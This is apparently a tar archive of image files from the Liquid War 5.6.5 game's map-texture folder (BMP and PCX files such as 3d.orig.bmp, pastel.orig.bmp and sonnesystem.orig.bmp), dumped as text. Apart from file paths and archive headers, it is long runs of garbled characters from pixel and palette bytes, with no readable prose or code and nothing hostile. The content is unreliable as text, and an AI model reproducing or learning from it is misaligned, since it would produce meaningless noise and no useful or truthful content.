./6767676767676787878789898989:9:9:9:9:9:;()('&'&'&'<;<&'&%$%$#$#$"#""#$&'<;<;()():*)*+,8-,-.767676767878,8989:)()'&'&'<&$##"#$#$#$&<;<;<;<;<;()(;:;:;:*)*)*)*)*+*,-87-.+,-,-.767676767676787878787-,989898989:9:9:9:;()('&'&'&'&<;<&%$%$#$#$#""#$&<;<;();:;:)*)*,8-,.76767-,89:9:9:)('&'<&$%$##"#$#$#$#&%&<=<=<;<;<;:):;:;:*)*)*()()()*)*)*)*+,978,-,+,+,-.-.76767676787-,-,-+,+9898989:9:9:9:9:9:)('&'&'&'&<;<&'%$%$#$#$#$"#""#$#&%&<=<;:;:)*()()*,8-+,-.-7-+,89:9:)('&'<&$#$##"#"#$#&%&<=<=<=<;<;<;<;<;:;()()('()()()*)*),+,+98,-,-.78787878-,+*+*,+,+989:9:9:9:9:;:)()('&'&'&'&';<&%$#$#$#""#$%=<=<;<;()'('()()*+,8-787-+*,+9:)()'&'&'<&$#"##"#$#&%&<=<=<=<;<;<;<;<:;)()'('()()()*)*)+,8989898,-787878787.787878787-,-+*+*+*+*,+*9:9:9:)*):;:)()&'&'&(';<;<&'%$%#$#$#$#"#""#%=<=<;<;)'()+98987878-78787-,-+*+*):;:(&'<&%$#$##"#"#$%&%=<=<=<=<;<;<;<;:;()('('()()()()*+989898989878787-.-.7878787878787-,-*+*+*+*)*+*+*+*)*)*);:;:;('&'&%';<'&$%$#$#$#"#""#%=<=<;<;()'()+9898-+,-78787878,+*+*)*)*():;:;:;('&';<&$#"##"#"#%&%=<=<=<=<;<;<;<;<;()('('('()()()()*+*9898989898-,-,+,+,-,-,-,878,+*+*+*)*)*)()()(*():;:;:;'('&%'&<&$%$#$#$#"#""#"#%=<;<;)()'()+9898,-+-,8,+*)*)():;(&'<&$#"#"#"#%=<=<=<=<=<;<;<;<;()('('('()()()*+*989898989,+*+*+,+,-,-,+,-,89+,+,+,+,+*)*)()()('(')():;:;('('('&<;<'&$%$#$#$#"#""#%=<=<;<;()'()+989,+*+*+,89,+,+)(')(:;('<&$#$#"##"#"#"#%&=<=<=<=<;<;<;<;<;()('('()()(+*+98989898,+,*+*+*+*+*+*+*+*+*+,9898989898+*+)()()()('('('()(;('<;<;<&%&$#$#$#"#""#"#%=<=<=<;<;('()*+9+,+,*+*+*+*+*+*,8989*+*)()('(;<;<&%$#"#""#"#"#%&<=<=<=<=<;<;<;<;<;()('('('()(+*+9:9+,+,*+*+*+*+*+*+*+*+*+*,+989898989+*()()('('('('(';<;<;<;<;<=<=%&%#$#$#"#"#""#%=<=<;<;()('(*9+*+*+*+*,898989*()('('(;<;<;<=<=<%#""#"#"#$#%&<=<=<=<=<;<;<;<;<;()('('('(*)*9:9:9+*+*)*)*+*+*+*+*+*+*+,+989898989:9:*)()('('('('<;<;<;<;<;<=<=<=<=%&$#$"#"#"#""#%&=<=<;<;()*)*:9:9*+)*)*+,+98989:9:*('('(;<;<=<=%#"#""#"#"#"#$#&%&<=<=<=<;<;('(;<;:;()()*)*9:9:9+*+()*)*)*)*)*)*,+,89898989:9:9:9*)*('('('('(;<;<;<;<;<=<=<=<=<=%$#"#"#"#""#"#$#%&<=<'(;)*:*)*)*)*+,9:9:9:*)*)'('(;<=%$%#"#""!"#"#"#$#&%&%&'&'&'&'(%&'(';:;:;:;:;:;:)*)()()()*)*)*)*)*)*)*)*)*)*)*+98989:9:9:9:9:9:)*)*)()('&'(';<;<;<;<=<=<=<=$%$#"#"#""#"#$#&%&'&'%&%&'(;:;:*()*)*)*)*)*)*)*)+9:9:9:)()(;<;<;<=<=$%$#""#"#"#$#$#$&%&'&'%&%&%('(';:;:;:;:;:;:)*)()()()()()*)*)*)*)*)*)*)*+9:9:9:9:9:9:9:9:;:;:;:;:)('(;<;<;<;<;<=<=<=<=%$%"#"#"!"#$%&('(;:;:;:*)()()()+)+9:9:9:;:;<;<;<=<=<=$%$#"#""!"#"#"#"#$#$#$#$%$%$%$%&%&%&%('(;:;:;:;:;:)*)()()()()()*+*+*+*+*)*+*+*+*:9:9:9:9:9:9:9:9:;:;:;:;:;:;<;<;<;<;<;<=<=<=<=<=<=>=%$%"#"#"!!"#"#$#$%$%&'(;:;:)*)*)*()()*+*+*+*+*)+*+*+*9:9:9:9:)();<;<=<=$#""!"!"#"#"#"#$#$#$#$%$%$%$%&%&%('(;<;:;:;:;:;:*)*)*)*)*)()*+*+9:9:9+*+*+*+*+9:9:9:9:9:9:9:9:9:9:9:)()()()('('<;<;<;<;<=<=<=<=<=>=%$"#"!!"!"#"#$#$#$%$%$%&'(';:;:;:*)*)*:9:9:9:*:9:9:9:9:9:)('('(';<=$"!""!"!"#"#"#$#$#$#$%$%$%$%&%('(;<;<;:;:;:;:;:;:*)*)*)*):9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:9:;:;)('&'&'&'&('('('<;<;<=<=<=<=>$#"!"!!"!"#"#$#$%$%'(;):)*:9:9:9:9:9:9:9:9*:)'&'<=<=$"!""!"!"!"#"#"#"#$#$#$#$%$%$%$%&'('<;<;<;:;()()():;:;:9:9:9:9:9:9:9:9:)*)*)*9:9:;:;:)()'&'&'&'&'&'<;<=<=<=<=<=>=>$#"!"!"!!"#$%&'<;():*(*)*):;)()'&'&%&'<=<=<=>$#"!""!"!"!"#"#"#"#$#$#$#$%$%$%&'('(;<;<;()('&'&)()()*):;:9:9:9*)*)('*)*)*:;:;:)()()'&'&'&'&'&%&%&'&<=<=<=<=<=>=>$%$#"#"!"!"!!"!"#"#$%$%'('('&'):)*)()()'&'&%&%'&'<=<=<=$"!"!!"!"!"!"#"#"#"#$#$#$#$%$%$%$%&'('('('('&'&'&'&'):;:;:;:*)*'('('('('('()()()('&'&'&'&'&%&%&%&%'&'&=<=<=<=<=>=>$%$"#"!"!"!"!!"!"#$%&%'('(&'&'&'):)*('('('('('(')'&'&%&%'&=<=<=>$"!"!!"!"!"!"#"#"#"#$#$#$#$%$%$%$%&%&%&%&'&'&'&'&'&'()(;:;:;:;:;:;)('('('('('('('('&'&'&'&'&%&%&%&%&%$%$'&%&%=<=<=>$%$%$"#"!"!"!!"#$#$%&%&'&');:;:;:)'&'&'&%&%$%$&%&%$%$#"!! !"!"!"#"#"#"#$#$#$#$%$%$%$%&%&%&%&'&'&'&'&'&'()():;:;:)()('('('&'&'&'&'&'&'&%&%&%&%&%$%$%$%$%&%&%$%$%$#"#"!"!"! !"#"#"#$#$%&'&'&'()()()'&'&%&%$%$%#"!! !"!"!"#"#"#$#$#$#$%$%$%$%$%$%&%&%&%&%&%&'&'&'&'&'()()()()('&'&'&'&'&'&'&'&'&'&'&%&%&%&%&%$%$%$%$%$#$#$#"#"#"!"!"!"! ! !"#"#$#$%$%&%&'&'&()'&'&'&'&%&%$%$#$#"#"! +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###  +7C#K+ W/ c7o?wCKOW_ _sOgCW7K/;#+{{w #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/3d.orig.bmp0000664000372000037200000020537413407756104017330 0ustar travistravisBM (  !!eACuKM鹻ˡvv}}¦ˮҸwrz~˙ԥ౟뽫                 @b                                                                    ( >O                  "                                   F                   &{9                  F                    &{9                    (                    &{9                    F                     &{9                     (                    "3 (                                                     (               &{9                                                    .           F               &{9                           @d             F                &{9           P9c               (   &{9                  E                                                  .                 E                 m                    m                  m                  e                   Èh                   n                     n m               n                m   n                m               Ág                m                m                 n                  Èh                 Èh                 n                 Èh                 n                r                Jk m            Uh             n    Uh                f                m                Èh                 Èh                 n                n               m               Èh               m             k              g             m m         m           m      m           Èh            Èh             m            n            m           m             Uh             m             m             m            l            m n        Èh               Èh    Uh              m              Uh                 m                 m              m             n             m              m               Uh             Èh             Uh              nn            Uh           Ղtm              n              Uh               m               Uh               m                n             Jk              |                 n               Èh             Uh             sJk            n          Èh n            m            Èh            m            Èh           Ղt              Uh              Èh               g                Èh                m               m               m  Uh           m                 Uh   m                  m                   Èh                   f                   n                      g                      m                    m                     Uh                     m                        m                      m                    d m               q                     Èh       Èh                  n                 m                  m               m               n                m                Ղt                 m                 n                m                Èh                 ÈhUh              n                m     q                 m              Èh               m            m             n             Uh           Èh           m           Èh           Èh           x           Èh m       f           Uh       m             Èh               d                  f                  m                m                  Èh                f               Èh               n                m                 q                  q  m          Uh                  Uh     i              m              m           Èh            Èh             m            Ág            Uh            Uh             g              Uh             m             m    m         m             f    Uh            Uh             n             Uh             m               m              k            m           m           mliquidwar-5.6.5/data/maptex/lwtabtom.orig.pcx0000664000372000037200000002462513407756104020665 0ustar travistravis cc,,d !"!"#$%$%&'('()*+*+,-.-./ 01235678:;<=?0101212323234345454565676787898989:9:9:;:;<;<=<=>=>=>?>? 0123456789:;<=>?012345456789:;<=>? 0213456879:;<>=?014578:;>? .0123456789:;<=>? %)/02367:;=? .013578:<>? 0123456789:;<=>?0357:=? #&),/012356789:<>? !"#$%&'()*+,-./047;? #&),/013456 '/;=>? 013456879:;<=>?0368 "%&)*-.0134 #(+/<>? 0123456789:;<=>?0369? !"#$%&'()*+,-./02469;=? "#%'(*+-/036 $'+/?:? 0213457689:<;=>?0369? #(+/012457689;<=? %*.038;? (.05 #(+0>?> 0123456789:;<=>?038;? (/01356789:<=>? %*/0123456789:;<=>? %*/0369?05:? (.0123579;<=? (.013579;=>? (.0369<> %*.0257: 0123456789:;<=>?05:? %*/0123468:;<=>? '/012456789:;=>? #&),/07> %*/02469;=? '/05 $'+07>? 0234678:9;<=?05:> '/047<> %*.0369? !#%'(*,./024589<=? (.05 #(0?08: 0123456789:;<=>?05:? '/0369? #(+/0 "$&)+-/023578:;=? '/05 "047;?/. 02356789:<=?038;? (.0368 '/023589;<>? $*.0369<> %*.0134679:<=? (.04 08>(),-/ 0123456789:;<=>?05:? '.0369? '/0507>&')+-/ 0235689;<>?047;? '/0369$%(),-/ 013456789:;<=>?047;? '/0358:? (/0"$&(+-/ 0245679:<>?0359=?>? 07? (.'(+,/ 012356789:<=>?0369? $'+/0134679:<=? %*/0> '. 012468:<>?0358:=> '/02367:;=? #(+/02367:;=? #(+/0123579;=>? "$%(),-/02367:;=? '/047;> 0123456789:;<=>?0358:? !#$&')*,-/0357:=? %*/038;? 013578:<>024589<=? (.02569:=> 0 #(+/023589;<>? #(+/024679:<> !#%&(*+-/047;? $*.0269<> 01245679:;<>?0134679:<=? 02469;=? "$&)+-/01345689:;=>? $'+/0134679:<=? !"$%&')*+,./0369? $',.014589<=? %)/03478;? 024679;=?023456789:;<=>? "$&)+-/01346789;<>? 05:? $'+/02469:=? '/023578:<=? .012456789:;=>? 0257:? #$'(+,/0235689;<> '/05:? $',.0257: #(+/ 05:?0123456789:;<=>? "$'(+-/05:? 02469:=? 0369? 0369? '/0 %*.07? (.0123243456768789:;:;<=>=?>? 038;? "#%&)*,-/ 0123456789:;<=>? (/0> '/08? $(+/0123456789:;<=>? #%(*,/07? #%),/047<> 0135689:;=? '/0> (.07? #&)+/0101234354567687989:;:<;<=>?>? %)/0348:=> "%'*,/07> '/05:? 01345689:;=>? '.0> '/05:? #%(*-/0123456789:;<=>? '.024589;=? "$'(+,/0? %)/0? (.013469;<>? %*.0> '/05:? #%(*-/0235689;<>? "$'(+,/0369;? %)/047;> 08> 05:? %*/0> %*/0 '/01245679:;<>? '/0> %*/05:? #&),/0123456789:;<>? "#%&)*,-/047;? '/047;? '/0> 038;? (.07? (.0> 0124679;=? %)/0? %*/05:? %*/012468:<>? 0369;? "#%&)*,-/05:? (.038;? (.0> 047;? '/07> '/012356789:<=>? %*/0> %*/047;? .012356789:<=>? '/0134578:;<=? %*/07> %*/05:? %*/0 038;? (.0> %*.024579:<>? (.0> #(+/0134568:;=? $*.013568:;=? (.05:> '/047;> '/0 047;? '/0> '/0123456789:;<=>? 047;? %*/0258:? %*/07? %*/05:? (/0 04:> '/0? %*/023569:<=? 013456879:;<=>? '/023569:<=? /012468:<>? '/059? %)/08> '/0 07? %*/07? .023578:<=? .023568:<=? 0123456789:;<=>? 0123456789:;<=>? '/05:? %*/0> '.0 07? (.013579;=? (.024589<=? (.012123434565678789:9:;<;<=>=>? '/059? %)/0 '/0 05:? 01234579;<=>? '.0134679:<=? 0123456789:;<=>? (/038;? .0> (/0 0246879;=? %*.0102123434545657678989:9:;:<;<=>=>?>? 014578:;> '/02367:;> '/0 023568:<=? .047;? .0123456789:;<=>? '.024589;=? '.024589;=? '.0 024589<=? %)/0 $*.0123243456787989:;<;=<=>? 024689;=? 014578:;>? '/03478;? '/0123456789:;<=>? '/02469:=? '/0> 0369<> "%&)*-.012468:<>? #$'(+,/024578:;=? 04:> 01346789;<>? 5:> '/02478; 05:? #&),/01234579:;<=>? !#$&')*,-/0134578:;<=? '.0123456789:;<=>? '.07? '.07? .05:? 07? 07? $'+.02356879:<=? "%'*,/024689;=>? 0213457689:<=>? 05:> '/0? %*/0358:=? 0> $'+/0123456789:;<=>? $'+/0123456789:;<=>? (/07? '.0257:=? $*.014578:;> 0135678:<>? 0123456789:;<=>? '/08> '/0358:=> $(+/0123456789:;<=>? %*/05:? 05:? .01234568:;<=>? .0123456789:;<=>? '.07? '.0257:? #(+/0? (.0> #(+/012468:<=>? '/01246789;=? %)/08> '/0358:=? '/012356789:<=>? '.02469;=? "%'*,/0> 0> "%'*,/0369? .05:? '.0257: "$%(),-/08> #&(,/0257:? '/0348:=> 024679;=? 024679;=? #&),/07? !"#$%&()*+,-./024689;=? 0257:? '/0257:? $'+.012468:<=>? %*/0358:=? 0358:? %*/012345689:;<=>? "$&)*-/01356789:<=>? '/02468;=? 0257:? (.0124579:;<>? "#%&()+./0134679:<=? (.02569:=> 0358:=? '/01245679:;<>? %*/0> 012456789:;=>? '/013578:<=? 02478;=? !"#$%&'()*+,-./0> '/02478;=? 0257: '/0235689;<>? 0? (.02569:=? '/02478;? (/05:? '/024679;=? '/0> #&),/047;? 0234578:;<>? "$&(+-/02467:;=? '/02468;=? 02569:=? '/023569:<=? (.038;? %*/02367:;> 059? $'+/04: 01234567989;:<=<>? '/02367:;> 02468;=? '/02469;=? %*/048;? %*/0123456789:;<=>? '/05:? '/0123456789:;<=>? '.024589;=? 024589<=? (. 257:? %*.07? /0123456879:;<=>? (.014578:;>? 024679;=? '/ 2478;=? .0123456789:;<=>? 07? (/07? .23456789:;<=>? %*/023578:<=? 014589;=? (. 2569:=? .01234567898:;:<;=<=?>? 07? (. 2569:=> #(+/0359 024679;=? '/ 123456789:;<=>? 023578:<=? 05:? !"#$%&'()*+,-./0134578:;<=? 014578:;>? 0102123456576789:;<;<=>? '/024579:<>? "#%&()+,./024579:<>? 0123456789:;<=>? '/0369? 0121234345656787989:9:;<;<=>=>? %*.038;? (.012323456567898:9:;<=<>=>? 0123456789:;<=>? #&),/0369? 01234567898:9;:<;=<=>? #$'(+,/059? (.0> 059? %*/0123465789:;<>=? .014578:;>? 013456789:;<=>? 01345689:;=>? #&),/0369 '/047;? 0123456789:;<=>? $'+/024689;=? 04:>0123579;=? (.021234356789:;=<>? 047;? 047<> 02367:;=? 02478;05:> 0358:=?05:? 2468;=? '/0123456789:;<=>? '/07> .0257:? 059? /059? #%(*-/05:> "%'*,/059?02367:;=? 0235679;<>? 02479;=? %*/0123456789:;<=>? !"$%&')*+,./05:? #(+/047;?0134679:<=? 013568:;=?02478;=?>? "%&()+,.02569:=> '/05:?0124579;<>? 01246789;=>?0358:? 012345689:;<=>? "#%'(*,-/0123456789:;<=>?01246789;=>? 0123456789:;<=>?0368? #%(*-/01246789;=>?0123456789:;<=>? 012345789;<=>?0369? 01234579;<=>? #%(*,/012456789;<=>?01234678:;<=>? 0246879;=?038;? %)/0123456879:;<=>? #$'(+,/013579;=>?0246879;=? 012345689:;<=>?048;? %*/0123456789:;<=>? !"#$%&'()*+,-./023578:;=?0123456789:;<=>? 024578:;=?038;? (.0257:? !"$&'()+-./02569:=?024578:;<=? 0123456789:;<=>?05:? %*/0257:? 02356789:<=?05:> .014589<=? !"$%&(')*+-./012468:<>?02356789:<=? 0123456789:;<=>?0123456789:;<=>? !"#$%&'()*+,-./012456789:;=>?0123456789:;<=>? 0234679:;=>?013578:<>? !"#$%&'()*+,-./0? $'+.0134679:<=?01245689;:<=? 0123456789:;<=>?012345689:<=>? !"#%&')*+,-./0357:=? %*/024689;=?0123456789:;<=>? 023465789;<>=?0134689;<>? "%&)*-/0> '/0> %)/0348:=> '/02367:;>021345678:9;<=? 0123456789:;<=>?023578:;=? "%'*,/07> '/05:? #&),/047;? 024679;=?0123456789:;<=>? 0213457689:<;=>?02367:;=? #&),.038;? (.0369=? 0123456789:;<=>?014578:<=? .0257:?0123456789:;<=>? 013456879:;<=>?01246789;=>? '/02367:;=? 012468:<>?013456879:;<=>? 0123456789:;<=>?012356789:<=>? '.0123456789:;<=>?0123456789:;<=>? 0213456879:;<>=?0245679:<>? 0213456879:;<>=?0213456879:;<>=? 0123456789:;<=>?0123456789:;<=>?0123456789:;<=>? 0123456879:;<>?012123434565678789:9:;<;<=>=?>?0123456879:;<>? 0123456789:;<=>?0123456789:;<=>?0123456789:;<=>? ! !"!"!"#"#"#$#$#$%$%$%&%&%&'&'&'('('('()()()*)*)*+*+*+,+,-,-,-.-.-././ +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###'+//?7O?_GoO{[Ӌcכoߧw㷃ÏϛۧSKOGOGKCKCKC{G?{G?wC;sC;sC;o?7k?7k?3g;3c;3c #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/pastel.orig.bmp0000664000372000037200000020537013407756104020306 0ustar travistravisBM (  yj`4oK\]vyj`4oK\]vyjX\z:d u\Z     m ke 0o   ke j bs f  j  f  m ke f g^ m ke 0o g^  ke j bs f  j  f m ke f g^ m ke 0o g^ ke j     rd :d pl r rd   l ]v h lUm ;o ]v h uUw :d pl j rd :d pl r rd   l ]v h lUm ;o ]v h uUw :d pl  rd :dplrrdpl l]vhlUm;o]vhuUwplEh^m]g ug u-`Zz jbq-`ZzMd^m]fYEh^m]g uEh]g u-`Zz jbq-`ZzMd^m]fY^m]g uEh]g u-`Zz   j  bq  -`  Zz  Md  ^m  ]  fY    ^m  ]  g u  Eh    ]  g u  -`  Zz   j  bq  -`  Zz  Md    ]  fY    ^m  ]  g u  n  `z  m  i`    `z  m  m]  4l  vmx  m    4l  vmx  l  `z4lvmxn`zmi``zmm]4lvmxmm]4lvmxl4lvmxn`zmi``zmliquidwar-5.6.5/data/maptex/labyrint.orig.bmp0000664000372000037200000020525413407756104020643 0ustar travistravisBM j(  zpXQG6(     :           -      -        C       -                                                                                                                                                                  C                                                                                                                                                   -                                                                          `                                            -                                                                                     k                                                                                                                                                                                 k                                                                                                                                                                                                                                            C                     C                                             :                                                                                          :                                            -                                            C                                                                           C         k                                                                 k                                         -                                                                     :                                                                                          k             C                                                                         :             k                                                                                                                                 k               :                                            -                                            C                                                                                                                                                                                                                                                      :               k                                                                                                      :                                                                                                                                           C                         :                                     -                         -                                                    k                                                                                                                                                       liquidwar-5.6.5/data/maptex/sonnesystem.orig.bmp0000664000372000037200000133006613407756104021407 0ustar travistravisBM66(*  W |o ^_ n}qi m e `o ]_ _dliO: : 1)' ,2641,+ .+(x'm#j$c!\WQNLGDBA<6320/ , ) &)#6 6O(A &        6<+2       07 $  +, '+    &&&000"""   &+      !$      "0+       "# !#!# &&&???wwwNNN+++T# whivtn l ebl ]]] aieM: <4. + /2331 - - .*~(v'k#j$c [VPMLGCAA<6320/ , ) ')#57P)B &         5;+3       07 "&  -. (,        ))    #&!&          "/)     !# $!#!#  222ZZZ;;;$$$K { % tw~  y t l def[\[[bcM;=71/ 00020 / - .({%s%i"g#`XUOMKFCA@;632 / . , ) '($47P+D%        4:,4       07 %) 01 )-    ///  (%!     "" #0 (   "$ $"$"$!!!///Ov "%zy||| ~|z l ce ^Z]ZV ^c Q>=71./..// - , +~'w#o#e!d"^VSMJHEA>=;63 1 1 . , * ( (%28Q-F%      39.6      07)- 23+/    !!!DDD   --%   $'"'             $1)    "$!%#%#% Yw |%+son r sr}z {{| l efX ] b\U [dV@<5/, ,--.-'')y%t"m#d a!ZTPLIGD@<;863 1 0 . , * )) '08Q0I$      3908      16.2  34,0  ###  %* & 2^e!)6 (  #!& $1)    "$"&$&$&[ x v x%/  uj b^ah oz | z z v uw m iiWdh `T ZgX@ :3, * , ..,*}$}#~&u$s#l#b_WRNJHFC>;:863 0 0 -+ + *) (.9R 3L$      4:19     1615  23-1        !'"/ ?A>U7U?N8  ##'    #0 (  $&#'%'%' ###V|x q lp#} } v nf ^[_ my}" {qjl q mpo \nneVYeW= 71-,/ /.*|'y#y"{&r$q#m$c^TRNJHFB=99864 1 / -+ + *) )-:S 5N$      5;4;     164812-1     &&&    )-28  &;L,iHe0 *5%'$( $0 (  %'$(%'&( 000QQQ444 Puxyqd_geq xr mga` fx'!&%}lcfk nvta"uriXZdW;42..1 1-*y%w$x"y&q$q#m$a\QQMJHFB=87664 1 / -+ + +) )-:S6O$        6<5<     1659 01.2    fff...!!!   11('  [vI T*D/ &(#' %1 )$&$( &(&(     ///RRRPPP###Squ z ^PWdnjfj#sidy+$$$~pfjj gt"wnp"wkXVfX9 74.+. 0{/x+u)s$q#n!k!i"e ^!TNKKGFD?>;:965 0 .0 * (0 &- + 8P8Q$     6>4>      3846 15/7   444 000BBB     &# 00F"B(/(()'(".$, &%%' &(&(   (((QQQfffCCC Yxv{wgch p|}vp!rjfx(" }vmjd\gkfjrk \ ]l]; 73,( *+y*u(r&p#r!n j!g!c \UNKJFED??<::75 0 .0 * (/ &, + :R:S%     6>4>     3848 15/7      )))   $+/@  GQB1*6%-5)*()#/$, &%%' &(&( #" %$ 777AAA///Y}qiii+t+z|utqls|{~}~} t ncV] b ^dmi ] `n]< 5. ( $${$w%s$p$n qlf!b!^ YTOKJEDA?@<;:75 0 . 1 + ( . %* * ;S;T &     6>5?      2948 25/7      ***   #( &7  N&cqUcLt TlM2p%3*+()$0%- &%&( &(%'   !&%@EDKPO0..,**'''!!! V~o`^ i23wwxpmprv|~}ur i[\ a[ `jf[\hX;2 * # ~ z"u$r%o#nrjc_[WSPJIDDA?@><;75 1 / 1 + ( , $* )=U=V '        7?5?     3:4: 2507     ...LLL111  *)57 $I    " +,)*%1%- '&&(%'%'  >CBhmlrwv:88#!!""":::+++ R~w kck44~wzxl bf mx~ x x tqro`^ b] _h fZ]fU9. & y v#r&p&o$kmg_ZWUROKIDDA?@><;76 1 / 1 + ( + %* )?W>W &         7?6@      3:4: 2507    ???+++   &*:= LH$9;I +,*+ &2&. ('')%'%'   W &            7?7A     2<4<   3607  ...  ".(;   .:= .1L&92,-+, &2&. ('(* &(%'   "!276BGF-++555 Jyr dVWg$u ~p qqjaT_ lz} u sr k gfdff aegd\ dj U:-%#~ #u $n%g'e&e$e d_YVTSPNMKGCB??<:97620 2 + & **, (?W=V$              8@8B    2<4<   4707   ,,,eee444    ,6+> 4C% A @4? -.,-  '3'/ )((* &(&(    HwhXQWf#tyhjnj c W]hw~~|j b djok cffbW_f R9. & % &v %k%a%_$`"a !b]WUTRNLNLGDB??<996631 2 * & * +- '?W=V$              8@8B   2<4<    5807   999     +-36'  3"4+?1=1 ./,-  (4'/ )()+ &(&(  ###  Puuoa Sj yiijbobdluwz |n\_kng a ak]V `cV D2 ) "~ t kb!`$c$c $d $d][YSQMK JIGDA>;:853522 .&/ ( , )>U?R           :C-;   2@5@   2A69      777 ,+ -6  )G6**CC5  *3 ,2 &4'4  *)(* ')')    ***ZsZiz klpgp_ ]bk q w |qa agh c^ `h[U ]_ P@1 (!} sk f#d&e&e %e $d^\[V UOL KIGEB>;:853522 .&, ( + *>U=P             ;D/=    2@4?   1@5;    $$$]]]333   9; 8@  !&; > :+D=WKk^  *3 ,2 &4'4  *)(* ')(* (((+++???MMM`vYhz npqil XOU_jrw yxqg d d b_[[ c[V ]_ N;/ '!} t m!h$f'g&g %g #ea `"^!Y WQLJ IFDB>;;8513 /1,&, ' ) -=T;N             <;9312 .0,$ ,&'/  *3 ,2 &4&3  *)(*')(*  ,**\ZZaaa:::,,,999JJJ666###a }d Tq$ vqvzs"t` ]_cjktu osqki c_YW aXPVYI8/ ' $ !y !s!l"h#h%g #i"h"e"b"_ YURNL H FDB><;8301 -. +$+&'2=U 4G            >G/=    6D+6  3@39       758@ #62u/.}2~8~95  +4 ,2 &4%2  *)(*')(*  &$$QOOSSS:::222444WWWaaa999bxYNn%q l rys r_W^d otvyujl faZZ dXNOOB71+&$#x"o"k$h#h"i"g#f"c!^!ZTSQM HEC@><<82.. ,- *# +&&5>V2E               ?H)7    7E'2  4A28     6407 7&x(:.};  +4 ,2 &4%2  *)(* ')(*  1//SSS222///888AAAqqq]]][|YBTzvosukh WS_ jvzxyr dlh c[^g ]T UNA9 4.*&'{&u&o&l$i!k g$g#d#`"^WURN HEB?=;;82.. *, )# +&&8?W0C              ?H"0   8F%0   5B28    66622.5 !FF   +4 ,2%3$1  *)(* (*')  ((("""444WWWyyyPPPZ{cOW s p mq r ff[ ^mw{ xwum_kj d\ `ib`aVD : 52,'(~ )x)s(n%l"l g$i#d%b %aY XSN H DB?=;:72.. *, )! +%& :?W0C              ?H,   9G$/   6C25     +++CCC  @C-;  (&N(<)1 +B!?  %,5$( (4#.  %(, &+ ),&) ###Swxqm ~ { wxxgedY n$(vo eZ d^ ciib \_h_H ; 70+ (-.++z*x(q%k"h"g!f!c"^ XRNIEC?<9730, *, ( % % %$!#=;S (@         ?H+ ";E$/   ;@.7    MMM  888~~~))) 63%#8NKg2*--I   #,5$( )5#.  $),'+ ),%( X ut} z|ze^^Yq) tpi bg ]^gg` [ _jc J ; 7 0 - )- 10/|/x,t'p%k$j!h c!] XUPJFC?; 851/, * + ($$ %$"%?;S %=       !?H*$;E"-   ;@+3   111yyy111  KKK   <=02  ?*?+I.M   !.6#) *6$/  ),&* ),$'  ]yzz_ RSVl%  soqkei\Y__a _ fqeH840 - * . 2121z-w)s'o$n!j c \WUQJFC? ; 8 40.+ ) + '## %#"*BD( (;E +   !;?).  KKK!!!   -3'0    "9O'`_DV   07#) ,8$/  +-&* *,#&&&&""""""\|{~pVELX i |wcfkeccVU\^c` fm`C51 0 - * / 2122 -{)w's%o!j b ]VUP KGD@ ; 8 40.+ ) * '## %" $ .F>T2            '>B&   ,:D '   "<>%)    ;=(-   (6MC*A Ov   19"(  .9 #. ,-&) +-"%,,,LLLGGG+++ T " { y r tuiSDM\fshY[ ] ^deXU^ba]]aVB84 1 / ,0 2 0 1 0 +)|)w'q"k!c ]XUPKHEA;851. + ) * '## % &2J?V,                 &->B   %09C#   !&=<"%     :<).   I [''ZC} 3:"'.9 #- --&)  ,."$ %%%EEE{{{III F#!!1+u l hlr m aQ U_f{&'l \YVQVgk^X] ^`^]\RD =843022/0/+ * *z)s&l$f"b \WSKHEA<:62/ + ) + '$ $ # '5L@W(              $.5?B  )48B  %(>=!$   #>B    =6Yc M\5   5;"'-8!+ ..&)   !-/"$  &&&FFF~~~SSS'''=y+$cTW_ n rp`^ be v'~-~f V ^WKQelbZ ZXdgg bTE?987554//--+ +~ ,v*n'i$d"_XTLHEA=;72/ + ) + ($ $ # '7NAX&              *4;AD  +68B &)>< !    :7 $"  DW;yh$.Nr.'t  6< !&-8!+ /.&)   !-/"$  &&&$$$555@@@WWWYYY666H}(zz sz cGO^ jzv nc [gjq$t"pd``eRW jig_ VZf m lm[A@ ;DQBXG?J7130,x *l+m -o"]#X SOJHB=<87 20,( & #$"/=R:O               %3?.:F   1>;G  -55:  ###QQQ      %>=# <]{9z#u~3OBx 6>"  05$    29 % */!' CAAaaaEEECCC555---*** P2|mj_Q U aq} xj \\hssng]^bm[_mgfa\a mptlYTI"O/X1`/T1]&R(GM&K ?2+z*x *o)k&h#\!TROKHC>= :8 30,' % #$#1>S7L                %5A-;G   1>:F  087<  ???}}}BBB   # 7>(       5="  16#  29 % */!'  $""^\\lll@@@###Y1 kcdh mmlxz yrkr{|vl`RP Xk a dk^ \_`fuvrg TXK1X8o6eViF[5PK`5]4W?6 5*x$i(j$e$Y!T QOKHC?= :9 40+& % # %# 5@T3H                (9F+;G 3@8D  3;8=   MMM''' '''///  '(26'@TOg+NhOa^v&Pm -A  !5=   16"  29 $ ,1 &  '%%[YYjjjAAA$$$^-{bc[ c){/!|t x| rjc ZPMShinq`[ ]aes{mg UW-\Oq $H$3Tp(L7_Yw*E(Y2Y(D7-x'k%g$d'Z!SQLJGB>; 98 41+% $ " &$"$;AU+A               )9>   111KKK  1-=< IkE='s)|FI$Vt  $4<  27    3: # -2$   866[[[AAA<<M2?  6B 3? '8A7< GGG   59 7:  2x\s   !)4<    27     3: " .3"     ''',,,%%%)))%%%O4/9+0CA-!## y lda\ QGWYht ke_[W _if Y V^?p[|!jnyZt2Ps#Y0N= 1y&h$c(d$R"PLHGEA;866 31,& $ # % $ &1GDX3  LN              (%@N*6  " 9D /;  (9B49      29 38   9hs       %-4<   "38    !4; "  /4     )))III222,,,!!!C;LL604/$+' v jb\ SH?T blt lf_][ba_R X!d8lLn;BKWo q?Z-j,L6{ 0u*i$a #]%S LKIHFA<966 21,' % $ $# ' 7LEY.  